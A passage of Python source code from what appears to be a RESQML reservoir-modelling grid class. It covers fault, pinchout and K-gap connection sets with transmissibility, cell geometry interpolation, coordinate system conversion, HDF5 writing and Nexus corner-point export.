'I',\n continuous = True, count = 1, indexable = 'faces')\n if tr_abs is not None:\n log.debug('applying absolute I face transmissibility modification')\n assert tr_abs.shape == (self.nk, self.nj, self.ni + 1)\n internal_zero_mask = np.logical_or(internal_zero_mask, tr_abs[:, :, 1:-1] <= 0.0)\n tr_abs_r = np.where(np.logical_or(np.isinf(tr_abs), np.isnan(tr_abs)), 0.0, 1.0 / tr_abs)\n i_tr[:, :, 1:-1] = np.where(internal_zero_mask, 0.0, tr_mult / ((1.0 / slice_a) + tr_abs_r + (1.0 / slice_b)))\n\n np.seterr(divide = 'warn')\n\n return k_tr, j_tr, i_tr\n\n\n def fault_connection_set(self, skip_inactive = True, compute_transmissibility = False, add_to_model = False,\n realization = None, inherit_features_from = None, title = 'fault juxtaposition set'):\n \"\"\"Returns (and caches) a GridConnectionSet representing juxtaposition across faces with split pillars.\n\n arguments:\n skip_inactive (boolean, default True): if True, then cell face pairs involving an inactive cell will\n be omitted from the results\n compute_transmissibilities (boolean, default False): if True, then transmissibilities will be computed\n for the cell face pairs (unless already existing as a cached attribute of the grid)\n add_to_model (boolean, default False): if True, the connection set is written to hdf5 and xml is created;\n if compute_transmissibilty is True then the transmissibility property is also added\n realization (int, optional): if present, is used as the realization number when adding transmissibility\n property to model; ignored if compute_transmissibility is False\n inherit_features_from (GridConnectionSet, optional): if present, the features (named faults) are\n inherited from this grid connection set based on a match of either cell face in a juxtaposed pair\n title (string, default 'fault juxtaposition set'): the citation title to use if adding to model\n\n returns:\n GridConnectionSet, numpy float array of shape (count,) transmissibilities (or None), where count is the\n number of cell face pairs in the grid connection set, which contains entries for all juxtaposed faces\n with a split pillar as an edge; if the grid does not have split pillars (ie. is unfaulted) or there\n are no qualifying connections, (None, None) is returned\n \"\"\"\n\n if not hasattr(self, 'fgcs') or self.fgcs_skip_inactive != skip_inactive:\n self.fgcs, self.fgcs_fractional_area = rqtr.fault_connection_set(self, skip_inactive = skip_inactive)\n self.fgcs_skip_inactive = skip_inactive\n\n if self.fgcs is None: return None, None\n\n new_tr = False\n if compute_transmissibility and not hasattr(self, 'array_fgcs_transmissibility'):\n self.array_fgcs_transmissibility = self.fgcs.tr_property_array(self.fgcs_fractional_area)\n new_tr = True\n\n tr = self.array_fgcs_transmissibility if hasattr(self, 'array_fgcs_transmissibility') else None\n\n if inherit_features_from is not None:\n self.fgcs.inherit_features(inherit_features_from)\n\n if add_to_model:\n if self.model.uuid(uuid = self.fgcs.uuid) is None:\n self.fgcs.write_hdf5()\n self.fgcs.create_xml(title = title)\n if new_tr:\n tr_pc = rprop.PropertyCollection()\n tr_pc.set_support(support = self.fgcs)\n tr_pc.add_cached_array_to_imported_list(self.array_fgcs_transmissibility,\n 'computed for faces with split pillars',\n 'fault transmissibility',\n discrete = False,\n uom = 'm3.cP/(kPa.d)' if self.xy_units() == 'm' else 'bbl.cP/(psi.d)',\n property_kind = 'transmissibility',\n realization = realization,\n indexable_element = 'faces',\n count = 1)\n tr_pc.write_hdf5_for_imported_list()\n tr_pc.create_xml_for_imported_list_and_add_parts_to_model()\n\n return self.fgcs, tr\n\n\n def pinchout_connection_set(self, skip_inactive = True, compute_transmissibility = False, add_to_model = False,\n realization = None):\n \"\"\"Returns (and caches) a GridConnectionSet representing juxtaposition across pinched out cells.\n\n arguments:\n skip_inactive (boolean, default True): if True, then cell face pairs involving an inactive cell will\n be omitted from the results\n compute_transmissibilities (boolean, default False): if True, then transmissibilities will be computed\n for the cell face pairs (unless already existing as a cached attribute of the grid)\n add_to_model (boolean, default False): if True, the connection set is written to hdf5 and xml is created;\n if compute_transmissibilty is True then the transmissibility property is also added\n realization (int, optional): if present, is used as the realization number when adding transmissibility\n property to model; ignored if compute_transmissibility is False\n\n returns:\n GridConnectionSet, numpy float array of shape (count,) transmissibilities (or None), where count is the\n number of cell face pairs in the grid connection set, which contains entries for all juxtaposed K faces\n separated logically by pinched out (zero thickness) cells; if there are no pinchouts (or no qualifying\n connections) then (None, None) will be returned\n \"\"\"\n\n if not hasattr(self, 'pgcs') or self.pgcs_skip_inactive != skip_inactive:\n self.pgcs = rqf.pinchout_connection_set(self, skip_inactive = skip_inactive)\n self.pgcs_skip_inactive = skip_inactive\n\n if self.pgcs is None: return None, None\n\n new_tr = False\n if compute_transmissibility and not hasattr(self, 'array_pgcs_transmissibility'):\n self.array_pgcs_transmissibility = self.pgcs.tr_property_array()\n new_tr = True\n\n tr = self.array_pgcs_transmissibility if hasattr(self, 'array_pgcs_transmissibility') else None\n\n if add_to_model:\n if self.model.uuid(uuid = self.pgcs.uuid) is None:\n self.pgcs.write_hdf5()\n self.pgcs.create_xml()\n if new_tr:\n tr_pc = rprop.PropertyCollection()\n tr_pc.set_support(support = self.pgcs)\n tr_pc.add_cached_array_to_imported_list(tr,\n 'computed for faces across pinchouts',\n 'pinchout transmissibility',\n discrete = False,\n uom = 'm3.cP/(kPa.d)' if self.xy_units() == 'm' else 'bbl.cP/(psi.d)',\n property_kind = 'transmissibility',\n realization = realization,\n indexable_element = 'faces',\n count = 1)\n tr_pc.write_hdf5_for_imported_list()\n tr_pc.create_xml_for_imported_list_and_add_parts_to_model()\n\n return self.pgcs, tr\n\n\n def k_gap_connection_set(self, skip_inactive = True, compute_transmissibility = False, add_to_model = False,\n realization = None, tolerance = 0.001):\n \"\"\"Returns (and caches) a GridConnectionSet representing juxtaposition across zero thickness K gaps.\n\n arguments:\n skip_inactive (boolean, default True): if True, then cell face pairs involving an inactive cell will\n be omitted from the results\n compute_transmissibilities (boolean, default False): if True, then transmissibilities will be computed\n for the cell face pairs (unless already existing as a cached attribute of the grid)\n add_to_model (boolean, default False): if True, the connection set is written to hdf5 and xml is created;\n if compute_transmissibilty is True then the transmissibility property is also added\n realization (int, optional): if present, is used as the realization number when adding transmissibility\n property to model; ignored if compute_transmissibility is False\n tolerance (float, default 0.001): the maximum K gap thickness that will be 'bridged' by a connection;\n units are implicitly those of the z units in the grid's coordinate reference system\n\n returns:\n GridConnectionSet, numpy float array of shape (count,) transmissibilities (or None), where count is the\n number of cell face pairs in the grid connection set, which contains entries for all juxtaposed K faces\n separated logically by pinched out (zero thickness) cells; if there are no pinchouts (or no qualifying\n connections) then (None, None) will be returned\n\n note:\n if cached values are found they are returned regardless of the specified tolerance\n \"\"\"\n\n if not hasattr(self, 'kgcs') or self.kgcs_skip_inactive != skip_inactive:\n self.kgcs = rqf.k_gap_connection_set(self, skip_inactive = skip_inactive, tolerance = tolerance)\n self.kgcs_skip_inactive = skip_inactive\n\n if self.kgcs is None: return None, None\n\n new_tr = False\n if compute_transmissibility and not hasattr(self, 'array_kgcs_transmissibility'):\n self.array_kgcs_transmissibility = self.kgcs.tr_property_array()\n new_tr = True\n\n tr = self.array_kgcs_transmissibility if hasattr(self, 'array_kgcs_transmissibility') else None\n\n if add_to_model:\n if self.model.uuid(uuid = self.kgcs.uuid) is None:\n self.kgcs.write_hdf5()\n self.kgcs.create_xml()\n if new_tr:\n tr_pc = rprop.PropertyCollection()\n tr_pc.set_support(support = self.kgcs)\n tr_pc.add_cached_array_to_imported_list(tr,\n 'computed for faces across zero thickness K gaps',\n 'K gap transmissibility',\n discrete = False,\n uom = 'm3.cP/(kPa.d)' if self.xy_units() == 'm' else 'bbl.cP/(psi.d)',\n property_kind = 'transmissibility',\n realization = realization,\n indexable_element = 'faces',\n count = 1)\n tr_pc.write_hdf5_for_imported_list()\n tr_pc.create_xml_for_imported_list_and_add_parts_to_model()\n\n return self.kgcs, tr\n\n\n def cell_inactive(self, cell_kji0, pv_array = None, pv_tol = 0.01):\n \"\"\"Returns True if the cell is inactive.\"\"\"\n\n if self.inactive is not None: return self.inactive[tuple(cell_kji0)]\n self.extract_inactive_mask()\n if self.inactive is not None: return self.inactive[tuple(cell_kji0)]\n if pv_array is not None: # fabricate an inactive mask from pore volume data\n self.inactive = not (pv_array > pv_tol) # NaN in pv array will end up inactive\n return self.inactive[tuple(cell_kji0)]\n return (not self.cell_geometry_is_defined(cell_kji0)) or self.pinched_out(cell_kji0, cache_pinchout_array = True)\n\n\n def bounding_box(self, cell_kji0, points_root = None, cache_cp_array = False):\n \"\"\"Returns the xyz box which envelopes the specified cell, as a numpy array of shape (2, 3).\"\"\"\n\n result = np.zeros((2, 3))\n cp = self.corner_points(cell_kji0, points_root = points_root, cache_cp_array = cache_cp_array)\n result[0] = np.min(cp, axis = (0, 1, 2))\n result[1] = np.max(cp, axis = (0, 1, 2))\n return result\n\n\n def composite_bounding_box(self, bounding_box_list):\n \"\"\"Returns the xyz box which envelopes all the boxes in the list, as a numpy array of shape (2, 3).\"\"\"\n\n result = bounding_box_list[0]\n for box in bounding_box_list[1:]:\n result[0] = np.minimum(result[0], box[0])\n result[1] = np.maximum(result[1], box[1])\n return result\n\n\n def interpolated_point(self, cell_kji0, interpolation_fraction, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns xyz point interpolated from corners of cell depending on 3 interpolation fractions in range 0 to 1.\"\"\"\n\n # todo: think about best ordering of axes operations given high aspect ratio of cells (for best accuracy)\n fp = np.empty(3)\n fm = np.empty(3)\n for axis in range(3):\n fp[axis] = max(min(interpolation_fraction[axis], 1.0), 0.0)\n fm[axis] = 1.0 - fp[axis]\n cp = self.corner_points(cell_kji0, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n c00 = (cp[0, 0, 0] * fm[0] + cp[1, 0, 0] * fp[0])\n c01 = (cp[0, 0, 1] * fm[0] + cp[1, 0, 1] * fp[0])\n c10 = (cp[0, 1, 0] * fm[0] + cp[1, 1, 0] * fp[0])\n c11 = (cp[0, 1, 1] * fm[0] + cp[1, 1, 1] * fp[0])\n c0 = c00 * fm[1] + c10 * fp[1]\n c1 = c01 * fm[1] + c11 * fp[1]\n c = c0 * fm[2] + c1 * fp[2]\n return c\n\n\n def interpolated_points(self, cell_kji0, interpolation_fractions, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns xyz points interpolated from corners of cell depending on 3 interpolation fraction numpy vectors, each value in range 0 to 1.\n\n arguments:\n cell_kji0 (triple int): indices of individual cell whose corner points are to be interpolated\n interpolation_fractions (list of three numpy vectors of floats): k, j & i interpolation fraction vectors, each element in range 0 to 1\n points_root (xml node, optional): for efficiency when making multiple calls, this can be set to the xml node of the points data\n cache_resqml_array (boolean, default True): if True, the resqml points data will be cached as an attribute of this grid object\n cache_cp_array (boolean, default False): if True a fully expanded 7D corner points array will be established for this grid and\n cached as an attribute (recommended if looping over many or all the cells and if memory space allows)\n\n returns:\n 4D numpy float array of shape (nik, nij, nii, 3) being the interpolated points; nik is the number of elements in the first of the\n interpolation fraction lists (ie. for k); similarly for nij and nii; the final axis covers xyz\n\n notea:\n this method returns a lattice of trilinear interpolations of the corner point of the host cell; the returned points are in 'shared'\n arrangement (like resqml points data for an IjkGrid without split pillars or k gaps), not a fully expanded 7D array; calling code\n must redistribute to corner points of individual fine cells if that is the intention\n \"\"\"\n\n assert len(interpolation_fractions) == 3\n fp = interpolation_fractions\n fm = []\n for axis in range(3):\n fm.append(1.0 - fp[axis])\n\n cp = self.corner_points(cell_kji0, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n\n c00 = (np.outer(fm[2], cp[0, 0, 0]) + np.outer(fp[2], cp[0, 0, 1]))\n c01 = (np.outer(fm[2], cp[0, 1, 0]) + np.outer(fp[2], cp[0, 1, 1]))\n c10 = (np.outer(fm[2], cp[1, 0, 0]) + np.outer(fp[2], cp[1, 0, 1]))\n c11 = (np.outer(fm[2], cp[1, 1, 0]) + np.outer(fp[2], cp[1, 1, 1]))\n c0 = (np.multiply.outer(fm[1], c00) + np.multiply.outer(fp[1], c01))\n c1 = (np.multiply.outer(fm[1], c10) + np.multiply.outer(fp[1], c11))\n c = (np.multiply.outer(fm[0], c0) + np.multiply.outer(fp[0], c1))\n\n return c\n\n\n def face_centre(self, cell_kji0, axis, zero_or_one, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns xyz location of the centre point of a face of the cell (or all cells).\"\"\"\n\n # todo: optionally compute for all cells and cache\n cp = self.corner_points(cell_kji0, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n if cell_kji0 is None:\n if axis == 0:\n return 0.25 * np.sum(cp[:, :, :, zero_or_one, :, :], axis = (3, 4))\n elif axis == 1:\n return 0.25 * np.sum(cp[:, :, :, :, zero_or_one, :], axis = (3, 4))\n else:\n return 0.25 * np.sum(cp[:, :, :, :, :, zero_or_one], axis = (3, 4))\n else:\n if axis == 0:\n return 0.25 * np.sum(cp[zero_or_one, :, :], axis = (0, 1))\n elif axis == 1:\n return 0.25 * np.sum(cp[:, zero_or_one, :], axis = (0, 1))\n else:\n return 0.25 * np.sum(cp[:, :, zero_or_one], axis = (0, 1))\n\n\n def face_centres_kji_01(self, cell_kji0, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns an array of shape (3, 2, 3) being (axis, 0 or 1, xyz) of face centre points for cell.\"\"\"\n\n assert cell_kji0 is not None\n result = np.zeros((3, 2, 3))\n for axis in range(3):\n for zero_or_one in range(2):\n result[axis, zero_or_one] = self.face_centre(cell_kji0, axis, zero_or_one, points_root = points_root,\n cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n return result\n\n\n def interface_vector(self, cell_kji0, axis, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns an xyz vector between centres of an opposite pair of faces of the cell (or vectors for all cells).\"\"\"\n\n face_0_centre = self.face_centre(cell_kji0, axis, 0, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n face_1_centre = self.face_centre(cell_kji0, axis, 1, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n return face_1_centre - face_0_centre\n\n\n def interface_length(self, cell_kji0, axis, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns the length between centres of an opposite pair of faces of the cell.\n\n note:\n assumes that x,y and z units are the same\n \"\"\"\n\n assert cell_kji0 is not None\n return vec.naive_length(self.interface_vector(cell_kji0, axis, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array))\n\n\n def interface_vectors_kji(self, cell_kji0, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns 3 interface centre point difference vectors for axes k, j, i.\"\"\"\n\n result = np.zeros((3, 3))\n for axis in range(3):\n result[axis] = self.interface_vector(cell_kji0, axis, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n return result\n\n\n def interface_lengths_kji(self, cell_kji0, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns 3 interface centre point separation lengths for axes k, j, i.\n\n note:\n assumes that x,y and z units are the same\n \"\"\"\n result = np.zeros(3)\n for axis in range(3):\n result[axis] = self.interface_length(cell_kji0, axis, points_root = points_root, cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n return result\n\n\n def local_to_global_crs(self, a, crs_root = None, global_xy_units = None, global_z_units = None, global_z_increasing_downward = None):\n \"\"\"Converts array of points in situ from local coordinate system to global one.\"\"\"\n\n # todo: replace with crs module calls\n\n if crs_root is None:\n crs_root = self.crs_root\n if crs_root is None: return\n flat_a = a.reshape((-1, 3)) # flattened view of array a as vector of (x, y, z) points, in situ\n x_offset = float(rqet.find_tag(crs_root, 'XOffset').text)\n y_offset = float(rqet.find_tag(crs_root, 'YOffset').text)\n z_offset = float(rqet.find_tag(crs_root, 'ZOffset').text)\n areal_rotation = float(rqet.find_tag(crs_root, 'ArealRotation').text)\n assert(areal_rotation == 0.0)\n # todo: check resqml definition for order of rotation and translation\n # todo: apply rotation\n if global_z_increasing_downward is not None: # note: here negation is made in local crs; if z_offset is not zero, this might not be what is intended\n crs_z_increasing_downward_text = rqet.find_tag(crs_root, 'ZIncreasingDownward').text\n if crs_z_increasing_downward_text in ['true', 'false']: # todo: otherwise could raise exception\n crs_z_increasing_downward = (crs_z_increasing_downward_text == 'true')\n if global_z_increasing_downward != crs_z_increasing_downward:\n negated_z = np.negative(flat_a[:, 2])\n flat_a[:, 2] = negated_z\n flat_a[:, 0] += x_offset\n flat_a[:, 1] += y_offset\n if z_offset != 0.0: flat_a[:, 2] += z_offset\n if global_xy_units is not None:\n crs_xy_units_text = rqet.find_tag(crs_root, 'ProjectedUom').text\n if crs_xy_units_text in ['ft', 'm']: # todo: else raise exception\n bwam.convert_lengths(flat_a[:, 0], crs_xy_units_text, global_xy_units) # x\n bwam.convert_lengths(flat_a[:, 1], crs_xy_units_text, global_xy_units) # y\n if global_z_units is not None:\n crs_z_units_text = rqet.find_tag(crs_root, 'VerticalUom').text\n if crs_z_units_text in ['ft', 'm']: # todo: else raise exception\n bwam.convert_lengths(flat_a[:, 2], crs_z_units_text, global_z_units) # z\n\n\n def z_inc_down(self):\n \"\"\"Returns True if z increases downwards in the coordinate reference system used by the grid geometry, False otherwise.\n\n :meta common:\n \"\"\"\n\n assert self.crs_root is not None\n return rqet.find_tag_bool(self.crs_root, 'ZIncreasingDownward')\n\n\n def global_to_local_crs(self, a, crs_root = None, global_xy_units = None, global_z_units = None, global_z_increasing_downward = None):\n \"\"\"Converts array of points in situ from global coordinate system to established local one.\"\"\"\n\n # todo: replace with crs module calls\n\n if crs_root is None:\n crs_root = self.crs_root\n if crs_root is None: return\n flat_a = a.reshape((-1, 3)) # flattened view of array a as vector of (x, y, z) points, in situ\n x_offset = float(rqet.find_tag(crs_root, 'XOffset').text)\n y_offset = float(rqet.find_tag(crs_root, 'YOffset').text)\n z_offset = float(rqet.find_tag(crs_root, 'ZOffset').text)\n areal_rotation = float(rqet.find_tag(crs_root, 'ArealRotation').text)\n assert(areal_rotation == 0.0)\n # todo: check resqml definition for order of rotation and translation and apply rotation if not zero\n if global_xy_units is not None:\n crs_xy_units_text = rqet.find_tag(crs_root, 'ProjectedUom').text\n if crs_xy_units_text in ['ft', 'm']: # todo: else raise exception\n bwam.convert_lengths(flat_a[:, 0], global_xy_units, crs_xy_units_text) # x\n bwam.convert_lengths(flat_a[:, 1], global_xy_units, crs_xy_units_text) # y\n if global_z_units is not None:\n crs_z_units_text = rqet.find_tag(crs_root, 'VerticalUom').text\n if crs_z_units_text in ['ft', 'm']: # todo: else raise exception\n bwam.convert_lengths(flat_a[:, 2], global_z_units, crs_z_units_text) # z\n flat_a[:, 0] -= x_offset\n flat_a[:, 1] -= y_offset\n if z_offset != 0.0: flat_a[:, 2] -= z_offset\n if global_z_increasing_downward is not None: # note: here negation is made in local crs; if z_offset is not zero, this might not be what is intended\n crs_z_increasing_downward = self.z_inc_down()\n assert crs_z_increasing_downward is not None\n if global_z_increasing_downward != crs_z_increasing_downward:\n negated_z = np.negative(flat_a[:, 2])\n flat_a[:, 2] = negated_z\n\n\n def write_hdf5_from_caches(self, file = None, mode = 'a', geometry = True, imported_properties = None, write_active = None):\n \"\"\"Create or append to an hdf5 file, writing datasets for the grid geometry (and parent grid mapping) and properties from cached arrays.\"\"\"\n\n # NB: when writing a new geometry, all arrays must be set up and exist as the appropriate attributes prior to calling this function\n # if saving properties, active cell array should be added to imported_properties based on logical negation of inactive attribute\n # xml is not created here for property objects\n\n if write_active is None: write_active = geometry\n\n self.cache_all_geometry_arrays()\n\n if not file: file = self.model.h5_file_name()\n h5_reg = rwh5.H5Register(self.model)\n\n if geometry:\n if always_write_pillar_geometry_is_defined_array or not self.geometry_defined_for_all_pillars(cache_array = True):\n if not hasattr(self, 'array_pillar_geometry_is_defined') or self.array_pillar_geometry_is_defined is None:\n self.array_pillar_geometry_is_defined = np.full((self.nj + 1, self.ni + 1), True, dtype = bool)\n h5_reg.register_dataset(self.uuid, 'PillarGeometryIsDefined', self.array_pillar_geometry_is_defined, dtype = 'uint8')\n if always_write_cell_geometry_is_defined_array or not self.geometry_defined_for_all_cells(cache_array = True):\n if not hasattr(self, 'array_cell_geometry_is_defined') or self.array_cell_geometry_is_defined is None:\n self.array_cell_geometry_is_defined = np.full((self.nk, self.nj, self.ni), True, dtype = bool)\n h5_reg.register_dataset(self.uuid, 'CellGeometryIsDefined', self.array_cell_geometry_is_defined, dtype = 'uint8')\n # todo: PillarGeometryIsDefined ?\n h5_reg.register_dataset(self.uuid, 'Points', self.points_cached)\n if self.has_split_coordinate_lines:\n h5_reg.register_dataset(self.uuid, 'PillarIndices', self.split_pillar_indices_cached, dtype = 'uint32')\n h5_reg.register_dataset(self.uuid, 'ColumnsPerSplitCoordinateLine/elements', self.cols_for_split_pillars, dtype = 'uint32')\n h5_reg.register_dataset(self.uuid, 'ColumnsPerSplitCoordinateLine/cumulativeLength', self.cols_for_split_pillars_cl, dtype = 'uint32')\n if self.k_gaps:\n assert self.k_gap_after_array is not None\n h5_reg.register_dataset(self.uuid, 'GapAfterLayer', self.k_gap_after_array, dtype = 'uint8')\n if self.parent_window is not None:\n for axis in range(3):\n if self.parent_window.fine_extent_kji[axis] == self.parent_window.coarse_extent_kji[axis]: continue # one-to-noe mapping\n # reconstruct hdf5 arrays from FineCoarse object and register for write\n if self.parent_window.constant_ratios[axis] is not None:\n if self.is_refinement:\n pcpi = np.array([self.parent_window.coarse_extent_kji[axis]], dtype = int) # ParentCountPerInterval\n ccpi = np.array([self.parent_window.fine_extent_kji[axis]], dtype = int) # ChildCountPerInterval\n else:\n pcpi = np.array([self.parent_window.fine_extent_kji[axis]], dtype = int)\n ccpi = np.array([self.parent_window.coarse_extent_kji[axis]], dtype = int)\n else:\n if self.is_refinement:\n interval_count = self.parent_window.coarse_extent_kji[axis]\n pcpi = np.ones(interval_count, dtype = int)\n ccpi = np.array(self.parent_window.vector_ratios[axis], dtype = int)\n else:\n interval_count = self.parent_window.fine_extent_kji[axis]\n pcpi = np.array(self.parent_window.vector_ratios[axis], dtype = int)\n ccpi = np.ones(interval_count, dtype = int)\n h5_reg.register_dataset(self.uuid, 'KJI'[axis] + 'Regrid/ParentCountPerInterval', pcpi)\n h5_reg.register_dataset(self.uuid, 'KJI'[axis] + 'Regrid/ChildCountPerInterval', ccpi)\n if self.is_refinement and not self.parent_window.equal_proportions[axis]:\n child_cell_weights = np.concatenate(self.parent_window.vector_proportions[axis])\n h5_reg.register_dataset(self.uuid, 'KJI'[axis] + 'Regrid/ChildCellWeights', child_cell_weights)\n\n if write_active and self.inactive is not None:\n if imported_properties is None:\n imported_properties = rprop.PropertyCollection()\n imported_properties.set_support(support = self)\n else:\n filtered_list = []\n for entry in imported_properties.imported_list:\n if entry[2].upper() == 'ACTIVE' or entry[10] == 'active': continue # keyword or property kind\n filtered_list.append(entry)\n imported_properties.imported_list = filtered_list # might have unintended side effects elsewhere\n active_mask = np.logical_not(self.inactive)\n imported_properties.add_cached_array_to_imported_list(active_mask, 'active cell mask', 'ACTIVE', discrete = True,\n property_kind = 'active')\n\n if imported_properties is not None and imported_properties.imported_list is not None:\n for entry in imported_properties.imported_list:\n if hasattr(imported_properties, entry[3]): # otherwise constant array\n h5_reg.register_dataset(entry[0], 'values_patch0', imported_properties.__dict__[entry[3]])\n if entry[10] == 'active': self.active_property_uuid = entry[0]\n h5_reg.write(file, mode = mode)\n\n\n def write_hdf5(self):\n \"\"\"Writes grid geometry arrays to hdf5 (thin wrapper around write_hdf5_from_caches().\n\n :meta common:\n \"\"\"\n\n self.write_hdf5_from_caches(mode = 'a', geometry = True, imported_properties = None, write_active = True)\n\n\n def off_handed(self):\n \"\"\"Returns False if IJK and xyz have same handedness, True if they differ.\"\"\"\n\n ijk_right_handed = self.extract_grid_is_right_handed()\n assert rqet.find_tag_text(self.crs_root, 'ProjectedAxisOrder').lower() == 'easting northing'\n # note: if z increases downwards, xyz is left handed\n return ijk_right_handed == self.z_inc_down()\n\n\n def write_nexus_corp(self, file_name, local_coords = False,\n global_xy_units = None, global_z_units = None, global_z_increasing_downward = True,\n write_nx_ny_nz = False, write_units_keyword = False,\n write_rh_keyword_if_needed = False, write_corp_keyword = False,\n use_binary = False, binary_only = False, nan_substitute_value = None):\n \"\"\"Write grid geometry to file in Nexus CORP ordering.\"\"\"\n\n log.info('caching Nexus corner points')\n tm.log_nexus_tm('info')\n self.corner_points(cache_cp_array = True)\n log.debug('duplicating Nexus corner points')\n cp = self.array_corner_points.copy()\n log.debug('resequencing duplicated Nexus corner points')\n gf.resequence_nexus_corp(cp, eight_mode = False, undo = True)\n corp_extent = np.zeros(3, dtype = 'int')\n corp_extent[0] = self.cell_count() # total number of cells in grid\n corp_extent[1] = 8 # 8 corners of cell: k -/+; j -/+; i -/+\n corp_extent[2] = 3 # x, y, z\n ijk_right_handed = self.extract_grid_is_right_handed()\n if ijk_right_handed is None:\n log.warning('ijk handedness not known')\n elif not ijk_right_handed:\n log.warning('ijk axes are left handed; inverted (fake) xyz handedness required')\n crs_root = self.extract_crs_root()\n if not local_coords:\n if not global_z_increasing_downward:\n log.warning('global z is not increasing with depth as expected by Nexus')\n tm.log_nexus_tm('warning')\n if crs_root is not None: # todo: otherwise raise exception?\n log.info('converting corner points from local to global reference system')\n self.local_to_global_crs(cp, crs_root, global_xy_units = global_xy_units, global_z_units = global_z_units,\n global_z_increasing_downward = global_z_increasing_downward)\n log.info('writing simulator corner point file ' + file_name)\n with open(file_name, 'w') as header:\n header.write('! Nexus corner point data written by resqml_grid module\\n')\n header.write('! Nexus is a registered trademark of the Halliburton Company\\n\\n')\n if write_units_keyword:\n if local_coords:\n if crs_root is not None:\n crs_xy_units_text = rqet.find_tag(crs_root, 'ProjectedUom').text\n crs_z_units_text = rqet.find_tag(crs_root, 'VerticalUom').text\n if crs_xy_units_text == 'm' and crs_z_units_text == 'm':\n header.write('METRIC\\n\\n')\n elif crs_xy_units_text == 'ft' and crs_z_units_text == 'ft':\n header.write('ENGLISH\\n\\n')\n else:\n header.write('! local coordinates mixed (or not recognized)\\n\\n')\n else:\n header.write('! local coordinates unknown\\n\\n')\n elif global_xy_units is not None and global_z_units is not None and global_xy_units == global_z_units:\n if global_xy_units in ['m', 'metre', 'metres']:\n header.write('METRIC\\n\\n')\n elif global_xy_units in ['ft', 'feet', 'foot']:\n header.write('ENGLISH\\n\\n')\n else:\n header.write('! globsl coordinates not recognized\\n\\n')\n else:\n header.write('! global units unknown or mixed\\n\\n')\n if write_nx_ny_nz:\n header.write('NX NY NZ\\n')\n header.write('{0:<7d} {1:<7d} {2:<7d}\\n\\n'.format(self.extent_kji[2], self.extent_kji[1], self.extent_kji[0]))\n if write_rh_keyword_if_needed:\n if ijk_right_handed is None or crs_root is None:\n log.warning('unable to determine whether RIGHTHANDED keyword is needed')\n else:\n xy_axes = rqet.find_tag(crs_root, 'ProjectedAxisOrder').text\n if local_coords:\n z_inc_down = self.z_inc_down()\n if not z_inc_down:\n log.warning('local z is not increasing with depth as expected by Nexus')\n tm.log_nexus_tm('warning')\n else:\n z_inc_down = global_z_increasing_downward\n xyz_handedness = rqet.xyz_handedness(xy_axes, z_inc_down)\n if xyz_handedness == 'unknown':\n log.warning('xyz handedness is not known; unable to determine whether RIGHTHANDED keyword is needed')\n else:\n if ijk_right_handed == (xyz_handedness == 'right'): # if either both True or both False\n header.write('RIGHTHANDED\\n\\n')\n if write_corp_keyword: keyword = 'CORP VALUE'\n else: keyword = None\n wd.write_array_to_ascii_file(file_name, corp_extent,\n cp.reshape(tuple(corp_extent)),\n target_simulator = 'nexus',\n keyword = keyword,\n columns = 3,\n blank_line_after_i_block = False,\n blank_line_after_j_block = True,\n append = True,\n use_binary = use_binary,\n binary_only = binary_only,\n nan_substitute_value = nan_substitute_value)\n\n def xy_units(self):\n \"\"\"Returns the projected view (x, y) units of measure of the coordinate reference system for the grid.\n\n :meta common:\n \"\"\"\n\n crs_root = self.extract_crs_root()\n if crs_root is None: return None\n return rqet.find_tag(crs_root, 'ProjectedUom').text\n\n\n def z_units(self):\n \"\"\"Returns the vertical (z) units of measure of the coordinate reference system for the grid.\n\n :meta common:\n \"\"\"\n\n crs_root = self.extract_crs_root()\n if crs_root is None: return None\n return rqet.find_tag(crs_root, 'VerticalUom').text\n\n\n def poly_line_for_cell(self, cell_kji0, vertical_ref = 'top'):\n \"\"\"Returns a numpy array of shape (4, 3) being the 4 corners in order J-I-, J-I+, J+I+, J+I-; from the top or base face.\"\"\"\n\n if vertical_ref == 'top': kp = 0\n elif vertical_ref == 'base': kp = 1\n else: raise ValueError('vertical reference not catered for: ' + vertical_ref)\n poly = np.empty((4, 3))\n cp = self.corner_points(cell_kji0 = cell_kji0)\n if cp is None: return None\n poly[0] = cp[kp, 0, 0]\n poly[1] = cp[kp, 0, 1]\n poly[2] = cp[kp, 1, 1]\n poly[3] = cp[kp, 1, 0]\n return poly\n\n\n def find_cell_for_point_xy(self, x, y, k0 = 0, vertical_ref = 'top', local_coords = True):\n \"\"\"Searches in 2D for a cell containing point x,y in layer k0; return (j0, i0) or (None, None).\"\"\"\n\n # find minimum of manhatten distances from xy to each corner point\n # then check the four cells around that corner point\n a = np.array([[x, y, 0.0]]) # extra axis needed to keep global_to_local_crs happy\n if not local_coords: self.global_to_local_crs(a)\n if a is None: return (None, None)\n a[0, 2] = 0.0 # discard z\n kp = 1 if vertical_ref == 'base' else 0\n (pillar_j0, pillar_i0) = self.nearest_pillar(a[0, :2], ref_k0 = k0, kp = kp)\n if pillar_j0 > 0 and pillar_i0 > 0:\n cell_kji0 = np.array((k0, pillar_j0 - 1, pillar_i0 - 1))\n poly = self.poly_line_for_cell(cell_kji0, vertical_ref = vertical_ref)\n if poly is not None and pip.pip_cn(a[0, :2], poly): return (cell_kji0[1], cell_kji0[2])\n if pillar_j0 